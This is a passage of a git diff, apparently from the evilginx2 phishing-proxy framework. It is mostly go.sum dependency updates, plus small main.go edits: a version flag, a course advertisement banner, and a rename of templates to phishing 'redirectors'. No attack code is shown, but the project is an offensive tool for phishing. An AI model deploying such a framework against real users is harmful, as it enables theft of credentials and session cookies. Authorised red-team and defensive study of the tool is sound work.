-golang.org/x/tools v0.0.0-20190907020128-2ca718005c18/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
+golang.org/x/tools v0.0.0-20190524140312-2c0ae7006135/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q=
+golang.org/x/tools v0.0.0-20190606124116-d0a3d012864b/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc=
+golang.org/x/tools v0.0.0-20190621195816-6e04913cbbac/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc=
+golang.org/x/tools v0.0.0-20190628153133-6cdbf07be9d0/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc=
+golang.org/x/tools v0.0.0-20190816200558-6889da9d5479/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
+golang.org/x/tools v0.0.0-20190911174233-4f2ddba30aff/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
+golang.org/x/tools v0.0.0-20191012152004-8de300cfc20a/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
+golang.org/x/tools v0.0.0-20191113191852-77e3bb0ad9e7/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
+golang.org/x/tools v0.0.0-20191115202509-3a792d9c32b2/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
+golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
+golang.org/x/tools v0.0.0-20191125144606-a911d9008d1f/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
+golang.org/x/tools v0.0.0-20191130070609-6e064ea0cf2d/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
+golang.org/x/tools v0.0.0-20191216173652-a0e659d51361/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
+golang.org/x/tools v0.0.0-20191227053925-7b8e75db28f4/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
+golang.org/x/tools v0.0.0-20200117161641-43d50277825c/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
+golang.org/x/tools v0.0.0-20200122220014-bf1340f18c4a/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
+golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
+golang.org/x/tools v0.0.0-20200204074204-1cc6d1ef6c74/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
+golang.org/x/tools v0.0.0-20200207183749-b753a1ba74fa/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
+golang.org/x/tools v0.0.0-20200212150539-ea181f53ac56/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
+golang.org/x/tools v0.0.0-20200224181240-023911ca70b2/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
+golang.org/x/tools v0.0.0-20200227222343-706bc42d1f0d/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
+golang.org/x/tools v0.0.0-20200304193943-95d2e580d8eb/go.mod h1:o4KQGtdN14AW+yjsvvwRTJJuXz8XRtIHtEnmAXLyFUw=
+golang.org/x/tools v0.0.0-20200312045724-11d5b4c81c7d/go.mod h1:o4KQGtdN14AW+yjsvvwRTJJuXz8XRtIHtEnmAXLyFUw=
+golang.org/x/tools v0.0.0-20200331025713-a30bf2db82d4/go.mod h1:Sl4aGygMT6LrqrWclx+PTx3U+LnKx/seiNR+3G19Ar8=
+golang.org/x/tools v0.0.0-20200501065659-ab2804fb9c9d/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE=
+golang.org/x/tools v0.0.0-20200512131952-2bc93b1c0c88/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE=
+golang.org/x/tools v0.0.0-20200515010526-7d3b6ebf133d/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE=
+golang.org/x/tools v0.0.0-20200618134242-20370b0cb4b2/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE=
+golang.org/x/tools v0.0.0-20200729194436-6467de6f59a7/go.mod h1:njjCfa9FT2d7l9Bc6FUM5FLjQPp3cFF28FI3qnDFljA=
+golang.org/x/tools v0.0.0-20200804011535-6c149bb5ef0d/go.mod h1:njjCfa9FT2d7l9Bc6FUM5FLjQPp3cFF28FI3qnDFljA=
+golang.org/x/tools v0.0.0-20200825202427-b303f430e36d/go.mod h1:njjCfa9FT2d7l9Bc6FUM5FLjQPp3cFF28FI3qnDFljA=
+golang.org/x/tools v0.0.0-20200904185747-39188db58858/go.mod h1:Cj7w3i3Rnn0Xh82ur9kSqwfTHTeVxaDqrfMjpcNT6bE=
+golang.org/x/tools v0.0.0-20201110124207-079ba7bd75cd/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
+golang.org/x/tools v0.0.0-20201201161351-ac6f37ff4c2a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
+golang.org/x/tools v0.0.0-20201208233053-a543418bbed2/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
+golang.org/x/tools v0.0.0-20210105154028-b0ab187a4818/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
+golang.org/x/tools v0.0.0-20210108195828-e2f9c7f1fc8e/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
+golang.org/x/tools v0.1.0/go.mod h1:xkSsbof2nBLbhDlRMhhhyNLN/zl3eTqcnHD5viDpcZ0=
+golang.org/x/tools v0.1.5/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk=
+golang.org/x/tools v0.1.6-0.20210726203631-07bc1bf47fb2/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk=
+golang.org/x/tools v0.1.12 h1:VveCTK38A2rkS8ZqFY25HIDFscX5X9OoEhJd3quQmXU=
+golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc=
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
+golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
+golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
+golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
google.golang.org/api v0.3.1/go.mod h1:6wY9I6uQWHQ8EM57III9mq/AjF+i8G65rmVagqKMtkk=
google.golang.org/api v0.4.0/go.mod h1:8k5glujaEP+g9n7WNsDg8QP6cUVNI86fCNMcbazEtwE=
+google.golang.org/api v0.7.0/go.mod h1:WtwebWUNSVBH/HAw79HIFXZNqEvBhG+Ra+ax0hx3E3M=
google.golang.org/api v0.8.0/go.mod h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg=
+google.golang.org/api v0.9.0/go.mod h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg=
+google.golang.org/api v0.13.0/go.mod h1:iLdEw5Ide6rF15KTC1Kkl0iskquN2gFfn9o9XIsbkAI=
+google.golang.org/api v0.14.0/go.mod h1:iLdEw5Ide6rF15KTC1Kkl0iskquN2gFfn9o9XIsbkAI=
+google.golang.org/api v0.15.0/go.mod h1:iLdEw5Ide6rF15KTC1Kkl0iskquN2gFfn9o9XIsbkAI=
+google.golang.org/api v0.17.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE=
+google.golang.org/api v0.18.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE=
+google.golang.org/api v0.19.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE=
+google.golang.org/api v0.20.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE=
+google.golang.org/api v0.22.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE=
+google.golang.org/api v0.24.0/go.mod h1:lIXQywCXRcnZPGlsd8NbLnOjtAoL6em04bJ9+z0MncE=
+google.golang.org/api v0.28.0/go.mod h1:lIXQywCXRcnZPGlsd8NbLnOjtAoL6em04bJ9+z0MncE=
+google.golang.org/api v0.29.0/go.mod h1:Lcubydp8VUV7KeIHD9z2Bys/sm/vGKnG1UHuDBSrHWM=
+google.golang.org/api v0.30.0/go.mod h1:QGmEvQ87FHZNiUVJkT14jQNYJ4ZJjdRF23ZXz5138Fc=
+google.golang.org/api v0.35.0/go.mod h1:/XrVsuzM0rZmrsbjJutiuftIzeuTQcEeaYcSk/mQ1dg=
+google.golang.org/api v0.36.0/go.mod h1:+z5ficQTmoYpPn8LCUNVpK5I7hwkpjbcgqA7I34qYtE=
+google.golang.org/api v0.40.0/go.mod h1:fYKFpnQN0DsDSKRVRcQSDQNtqWPfM9i+zNPxepjRCQ8=
google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM=
google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4=
google.golang.org/appengine v1.5.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4=
+google.golang.org/appengine v1.6.1/go.mod h1:i06prIuMbXzDqacNJfV5OdTW448YApPu5ww/cMBSeb0=
+google.golang.org/appengine v1.6.5/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc=
+google.golang.org/appengine v1.6.6/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc=
+google.golang.org/appengine v1.6.7/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc=
google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc=
google.golang.org/genproto v0.0.0-20190307195333-5fe7a883aa19/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=
google.golang.org/genproto v0.0.0-20190418145605-e7d98fc518a7/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=
+google.golang.org/genproto v0.0.0-20190425155659-357c62f0e4bb/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=
google.golang.org/genproto v0.0.0-20190502173448-54afdca5d873/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=
+google.golang.org/genproto v0.0.0-20190801165951-fa694d86fc64/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc=
+google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc=
+google.golang.org/genproto v0.0.0-20190911173649-1774047e7e51/go.mod h1:IbNlFCBrqXvoKpeg0TB2l7cyZUmoaFKYIwrEpbDKLA8=
+google.golang.org/genproto v0.0.0-20191108220845-16a3f7862a1a/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc=
+google.golang.org/genproto v0.0.0-20191115194625-c23dd37a84c9/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc=
+google.golang.org/genproto v0.0.0-20191216164720-4f79533eabd1/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc=
+google.golang.org/genproto v0.0.0-20191230161307-f3c370f40bfb/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc=
+google.golang.org/genproto v0.0.0-20200115191322-ca5a22157cba/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc=
+google.golang.org/genproto v0.0.0-20200122232147-0452cf42e150/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc=
+google.golang.org/genproto v0.0.0-20200204135345-fa8e72b47b90/go.mod h1:GmwEX6Z4W5gMy59cAlVYjN9JhxgbQH6Gn+gFDQe2lzA=
+google.golang.org/genproto v0.0.0-20200212174721-66ed5ce911ce/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
+google.golang.org/genproto v0.0.0-20200224152610-e50cd9704f63/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
+google.golang.org/genproto v0.0.0-20200228133532-8c2c7df3a383/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
+google.golang.org/genproto v0.0.0-20200305110556-506484158171/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
+google.golang.org/genproto v0.0.0-20200312145019-da6875a35672/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
+google.golang.org/genproto v0.0.0-20200331122359-1ee6d9798940/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
+google.golang.org/genproto v0.0.0-20200430143042-b979b6f78d84/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
+google.golang.org/genproto v0.0.0-20200511104702-f5ebc3bea380/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
+google.golang.org/genproto v0.0.0-20200515170657-fc4c6c6a6587/go.mod h1:YsZOwe1myG/8QRHRsmBRE1LrgQY60beZKjly0O1fX9U=
+google.golang.org/genproto v0.0.0-20200526211855-cb27e3aa2013/go.mod h1:NbSheEEYHJ7i3ixzK3sjbqSGDJWnxyFXZblF3eUsNvo=
+google.golang.org/genproto v0.0.0-20200618031413-b414f8b61790/go.mod h1:jDfRM7FcilCzHH/e9qn6dsT145K34l5v+OpcnNgKAAA=
+google.golang.org/genproto v0.0.0-20200729003335-053ba62fc06f/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
+google.golang.org/genproto v0.0.0-20200804131852-c06518451d9c/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
+google.golang.org/genproto v0.0.0-20200825200019-8632dd797987/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
+google.golang.org/genproto v0.0.0-20200904004341-0bd0a958aa1d/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
+google.golang.org/genproto v0.0.0-20201109203340-2640f1f9cdfb/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
+google.golang.org/genproto v0.0.0-20201201144952-b05cb90ed32e/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
+google.golang.org/genproto v0.0.0-20201210142538-e3217bee35cc/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
+google.golang.org/genproto v0.0.0-20201214200347-8c77b98c765d/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
+google.golang.org/genproto v0.0.0-20210108203827-ffc7fda8c3d7/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
+google.golang.org/genproto v0.0.0-20210226172003-ab064af71705/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
google.golang.org/grpc v1.17.0/go.mod h1:6QZJwpn2B+Zp71q/5VxRsJ6NXXVCE5NRUHRo+f3cWCs=
google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c=
google.golang.org/grpc v1.19.1/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c=
google.golang.org/grpc v1.20.1/go.mod h1:10oTOabMzJvdu6/UiuZezV6QK5dSlG84ov/aaiqXj38=
-google.golang.org/grpc v1.21.0/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM=
+google.golang.org/grpc v1.21.1/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM=
+google.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg=
+google.golang.org/grpc v1.25.1/go.mod h1:c3i+UQWmh7LiEpx4sFZnkU36qjEYZ0imhYfXVyQciAY=
+google.golang.org/grpc v1.26.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk=
+google.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk=
+google.golang.org/grpc v1.27.1/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk=
+google.golang.org/grpc v1.28.0/go.mod h1:rpkK4SK4GF4Ach/+MFLZUBavHOvF2JJB5uozKKal+60=
+google.golang.org/grpc v1.29.1/go.mod h1:itym6AZVZYACWQqET3MqgPpjcuV5QH3BxFS3IjizoKk=
+google.golang.org/grpc v1.30.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak=
+google.golang.org/grpc v1.31.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak=
+google.golang.org/grpc v1.31.1/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak=
+google.golang.org/grpc v1.33.2/go.mod h1:JMHMWHQWaTccqQQlmk3MJZS+GWXOdAesneDmEnv2fbc=
+google.golang.org/grpc v1.34.0/go.mod h1:WotjhfgOW/POjDeRt8vscBtXq+2VjORFy659qA51WJ8=
+google.golang.org/grpc v1.35.0/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU=
+google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8=
+google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0=
+google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM=
+google.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE=
+google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo=
+google.golang.org/protobuf v1.22.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
+google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
+google.golang.org/protobuf v1.23.1-0.20200526195155-81db48ad09cc/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
+google.golang.org/protobuf v1.24.0/go.mod h1:r/3tXBNzIEhYS9I1OUVjXDlt8tc493IdKGjtUeSXeh4=
+google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c=
gopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127 h1:qIbj1fsPNlZgppZ+VLlY7N33q108Sa+fhmuc+sWQYwY=
gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
+gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI=
gopkg.in/fsnotify.v1 v1.4.7/go.mod h1:Tz8NjZHkW78fSQdbUxIjBTcgA1z1m8ZHf0WmKUhAMys=
gopkg.in/h2non/gock.v1 v1.0.15/go.mod h1:sX4zAkdYX1TRGJ2JY156cFspQn4yRWn6p9EMdODlynE=
gopkg.in/ini.v1 v1.42.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k=
gopkg.in/ini.v1 v1.44.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k=
+gopkg.in/ini.v1 v1.66.4 h1:SsAcf+mM7mRZo2nJNGt8mZCjG8ZRaNGMURJw7BsIST4=
+gopkg.in/ini.v1 v1.66.4/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k=
gopkg.in/ns1/ns1-go.v2 v2.0.0-20190730140822-b51389932cbc/go.mod h1:VV+3haRsgDiVLxyifmMBrBIuCWFBPYKbRssXB9z67Hw=
gopkg.in/resty.v1 v1.9.1/go.mod h1:vo52Hzryw9PnPHcJfPsBiFW62XhNx5OczbV9y+IMpgc=
gopkg.in/resty.v1 v1.12.0/go.mod h1:mDo4pnntr5jdWRML875a/NmxYqAlA73dVijT2AXvQQo=
@@ -401,11 +735,22 @@ gopkg.in/square/go-jose.v2 v2.3.1 h1:SK5KegNXmKmqE342YYN2qPHEnUYeoMiXXl1poUlI+o4
gopkg.in/square/go-jose.v2 v2.3.1/go.mod h1:M9dMgbHiYLoDGQrXy7OpJDJWiKiU//h+vD76mk0e1AI=
gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7/go.mod h1:dt/ZhP58zS4L8KSrWDmTeBkI65Dw0HsyUHuEVlX15mw=
gopkg.in/yaml.v2 v2.0.0-20170812160011-eb3733d160e7/go.mod h1:JAlM8MvJe8wmxCU4Bli9HhUf9+ttbYbLASfIpnQbh74=
-gopkg.in/yaml.v2 v2.2.1 h1:mUhvW9EsL+naU5Q3cakzfE91YhliOondGd6ZrsDBHQE=
gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
-gopkg.in/yaml.v2 v2.2.2 h1:ZCJp+EgiOT7lHqUV2J862kp8Qj64Jo6az82+3Td9dZw=
gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
+gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
+gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY=
+gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=
+gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
+gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b h1:h8qDotaEPuJATrMmW04NCwg7v22aHH28wwpauUhK9Oo=
+gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
honnef.co/go/tools v0.0.0-20180728063816-88497007e858/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
honnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
honnef.co/go/tools v0.0.0-20190418001031-e561f6794a2a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
+honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
+honnef.co/go/tools v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg=
+honnef.co/go/tools v0.0.1-2020.1.3/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k=
+honnef.co/go/tools v0.0.1-2020.1.4/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k=
+rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8=
+rsc.io/quote/v3 v3.1.0/go.mod h1:yEA65RcK8LyAZtP9Kv3t0HmxON59tX3rD+tICJqUlj0=
+rsc.io/sampler v1.3.0/go.mod h1:T1hPZKmBbMNahiBKFy5HrXp6adAjACjK9JXDnKaTXpA=
diff --git a/log/log.go b/log/log.go
index f0cceb9a7..954db8fe5 100644
--- a/log/log.go
+++ b/log/log.go
@@ -144,7 +144,7 @@ func format_msg(lvl int, format string, args ...interface{}) string {
//msg = color.New(color.Reset, color.FgHiBlue)
msg = color.New(color.Reset)
case WARNING:
- sign = color.New(color.FgBlack, color.BgYellow)
+ sign = color.New(color.FgHiYellow, color.BgBlack)
//msg = color.New(color.Reset, color.FgYellow)
msg = color.New(color.Reset)
case ERROR:
diff --git a/main.go b/main.go
index abbc3d0b4..ff4564500 100644
--- a/main.go
+++ b/main.go
@@ -2,6 +2,7 @@ package main
import (
"flag"
+ "fmt"
"io/ioutil"
"os"
"os/user"
@@ -11,13 +12,16 @@ import (
"github.com/kgretzky/evilginx2/core"
"github.com/kgretzky/evilginx2/database"
"github.com/kgretzky/evilginx2/log"
+
+ "github.com/fatih/color"
)
var phishlets_dir = flag.String("p", "", "Phishlets directory path")
-var templates_dir = flag.String("t", "", "HTML templates directory path")
+var redirectors_dir = flag.String("t", "", "HTML redirector pages directory path")
var debug_log = flag.Bool("debug", false, "Enable debug output")
var developer_mode = flag.Bool("developer", false, "Enable developer mode (generates self-signed certificates for all hostnames)")
var cfg_dir = flag.String("c", "", "Configuration directory path")
+var version_flag = flag.Bool("v", false, "Show version")
func joinPath(base_path string, rel_path string) string {
var ret string
@@ -29,12 +33,28 @@ func joinPath(base_path string, rel_path string) string {
return ret
}
+func showAd() {
+ lred := color.New(color.FgHiRed)
+ lyellow := color.New(color.FgHiYellow)
+ white := color.New(color.FgHiWhite)
+ message := fmt.Sprintf("%s: %s %s", lred.Sprint("Evilginx Mastery Course"), lyellow.Sprint("https://academy.breakdev.org/evilginx-mastery"), white.Sprint("(learn how to create phishlets)"))
+ log.Info("%s", message)
+}
+
func main() {
+ flag.Parse()
+
+ if *version_flag == true {
+ log.Info("version: %s", core.VERSION)
+ return
+ }
+
exe_path, _ := os.Executable()
exe_dir := filepath.Dir(exe_path)
core.Banner()
- flag.Parse()
+ showAd()
+
if *phishlets_dir == "" {
*phishlets_dir = joinPath(exe_dir, "./phishlets")
if _, err := os.Stat(*phishlets_dir); os.IsNotExist(err) {
@@ -45,12 +65,12 @@ func main() {
}
}
}
- if *templates_dir == "" {
- *templates_dir = joinPath(exe_dir, "./templates")
- if _, err := os.Stat(*templates_dir); os.IsNotExist(err) {
- *templates_dir = "/usr/share/evilginx/templates/"
- if _, err := os.Stat(*templates_dir); os.IsNotExist(err) {
- *templates_dir = joinPath(exe_dir, "./templates")
+ if *redirectors_dir == "" {
+ *redirectors_dir = joinPath(exe_dir, "./redirectors")
+ if _, err := os.Stat(*redirectors_dir); os.IsNotExist(err) {
+ *redirectors_dir = "/usr/share/evilginx/redirectors/"
